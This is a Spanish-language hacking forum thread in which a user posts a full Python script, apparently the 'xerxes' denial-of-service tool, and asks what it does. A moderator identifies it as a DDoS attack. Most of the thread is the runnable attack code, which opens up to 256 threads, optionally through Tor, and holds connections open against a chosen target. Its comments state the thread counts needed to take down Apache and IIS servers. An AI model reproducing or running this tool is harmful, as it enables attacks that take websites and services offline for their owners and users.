elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  ayuda con code python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ayuda con code python  (Leído 2,848 veces)
MessageBoxA

Desconectado Desconectado

Mensajes: 229


ayudame a ayudarte


Ver Perfil WWW
ayuda con code python
« en: 25 Junio 2013, 03:28 am »

buenas tengo este code quisiera q le ayudaran en saber que es lo que medio hace ya que conozco muy poco de python gracias se los pido

Código
  1. #!/usr/bin/python
  2.  
  3. # this assumes you have the socks.py (http://phiral.net/socks.py)
  4. # and terminal.py (http://phiral.net/terminal.py) in the
  5. # same directory and that you have tor running locally
  6. # on port 9050. run with 128 to 256 threads to be effective.
  7. # kills apache 1.X with ~128, apache 2.X / IIS with ~256
  8. # not effective on nginx
  9.  
  10. import os
  11. import re
  12. import time
  13. import sys
  14. import random
  15. import math
  16. import getopt
  17. import socks
  18. import string
  19. import terminal
  20.  
  21. from threading import Thread
  22.  
  23. global stop_now
  24. global term
  25.  
  26. stop_now = False
  27. term = terminal.TerminalController()
  28.  
  29. class httpPost(Thread):
  30.    def __init__(self, host, port, tor):
  31.        Thread.__init__(self)
  32.        self.host = host
  33.        self.port = port
  34.        self.socks = socks.socksocket()
  35.        self.tor = tor
  36.        self.running = True
  37.  
  38.    def _send_http_post(self, pause=10):
  39.        global stop_now
  40.  
  41.        while True:
  42.            if stop_now:
  43.                self.running = False
  44.                break
  45.            p = "."
  46.            print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
  47.            self.socks.send(p)
  48.  
  49.        self.socks.close()
  50.  
  51.    def run(self):
  52.        while self.running:
  53.            while self.running:
  54.                try:
  55.                    if self.tor:    
  56.                        self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
  57.                    self.socks.connect((self.host, self.port))
  58.                    print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
  59.                    break
  60.                except Exception, e:
  61.                    if e.args[0] == 106 or e.args[0] == 60:
  62.                        break
  63.                    print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
  64.                    time.sleep(1)
  65.                    continue
  66.  
  67.            while self.running:
  68.                try:
  69.                    self._send_http_post()
  70.                except Exception, e:
  71.                    if e.args[0] == 32 or e.args[0] == 104:
  72.                        print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
  73.                        self.socks = socks.socksocket()
  74.                        break
  75.                    time.sleep(0.1)
  76.                    pass
  77.  
  78. def usage():
  79.    print "./xerxes.py -t <target> [-r <threads> -p <port> -T -h]\n"
  80.  
  81. def main(argv):
  82.  
  83.    try:
  84.        opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
  85.    except getopt.GetoptError:
  86.        usage()
  87.        sys.exit(-1)
  88.  
  89.    global stop_now
  90.  
  91.    target = ''
  92.    threads = 256
  93.    tor = True
  94.    port = 80
  95.  
  96.    for o, a in opts:
  97.        if o in ("-h", "--help"):
  98.            usage()
  99.            sys.exit(0)
  100.        if o in ("-T", "--tor"):
  101.            tor = True
  102.        elif o in ("-t", "--target"):
  103.            target = a
  104.        elif o in ("-r", "--threads"):
  105.            threads = int(a)
  106.        elif o in ("-p", "--port"):
  107.            port = int(a)
  108.  
  109.    if target == '' or int(threads) <= 0:
  110.        usage()
  111.        sys.exit(-1)
  112.  
  113.    print term.DOWN + term.RED + "/*" + term.NORMAL
  114.    print term.RED + " * Target: %s Port: %d" % (target, port) + term.NORMAL
  115.    print term.RED + " * Threads: %d Tor: %s" % (threads, tor) + term.NORMAL
  116.    print term.RED + " * Give 20 seconds without tor or 40 with before checking site" + term.NORMAL
  117.    print term.RED + " */" + term.DOWN + term.DOWN + term.NORMAL
  118.  
  119.    rthreads = []
  120.    for i in range(threads):
  121.        t = httpPost(target, port, tor)
  122.        rthreads.append(t)
  123.        t.start()
  124.  
  125.    while len(rthreads) > 0:
  126.        try:
  127.            rthreads = [t.join(1) for t in rthreads if t is not None and t.isAlive()]
  128.        except KeyboardInterrupt:
  129.            print "\nShutting down threads...\n"
  130.            for t in rthreads:
  131.                stop_now = True
  132.                t.running = False
  133.  
  134. if __name__ == "__main__":
  135.    main(sys.argv[1:])
  136.  
En línea

SI LA MATRIX FUERA PERFECTA.... ESTARÍA ESCRITA EN C++
engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: ayuda con code python
« Respuesta #1 en: 25 Junio 2013, 03:52 am »

Código:
# this assumes you have the socks.py (http://phiral.net/socks.py) 
# and terminal.py (http://phiral.net/terminal.py) in the
# same directory and that you have tor running locally
# on port 9050. run with 128 to 256 threads to be effective.
# kills apache 1.X with ~128, apache 2.X / IIS with ~256
# not effective on nginx
corre con 128 to 256 threads para ser efectivo.
mata apache 1.x con ~128[threads], apache 2.X / IIS con ~256
no efectivo en nginx

y por
Código:
while True:
            if stop_now:
                self.running = False
                break
            p = "."
            print term.BOL+term.UP+term.CLEAR_EOL+"Volley: %s" % p+term.NORMAL
            self.socks.send(p)
 
        self.socks.close()

aumenta la sospecha que es para un ataque DDoS usando tor (cosa que me parece absurdo por lo lento de tor XD primero denegas el servicio a tu servidor de tor que al sitio)

no es necesario saber python :P nunca he programado en el, pero ver un "while true" haciendo peticiones http ya se huele a que va XD

que me corrija aquel que sepa :P
« Última modificación: 25 Junio 2013, 03:54 am por engelx » En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda con un code pack...!!!
Multimedia
testosterona 1 1,439 Último mensaje 29 Agosto 2005, 14:44 pm
por Songoku
ayuda con mi code
Programación Visual Basic
nitrox 2 1,388 Último mensaje 4 Septiembre 2005, 08:09 am
por Slasher-K
Ayuda Code PHP
PHP
Nightwalker89 7 3,414 Último mensaje 13 Marzo 2009, 13:13 pm
por Agente Naranja
Ayuda Con Lotto Code
Programación Visual Basic
iory330 4 2,212 Último mensaje 3 Octubre 2009, 22:35 pm
por iory330
.NET Code Converter: C# or VB –to-> C#, VB, Python or Ruby
.NET (C#, VB.NET, ASP)
nicolas_cof 2 7,610 Último mensaje 20 Julio 2010, 04:40 am
por ABDERRAMAH
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines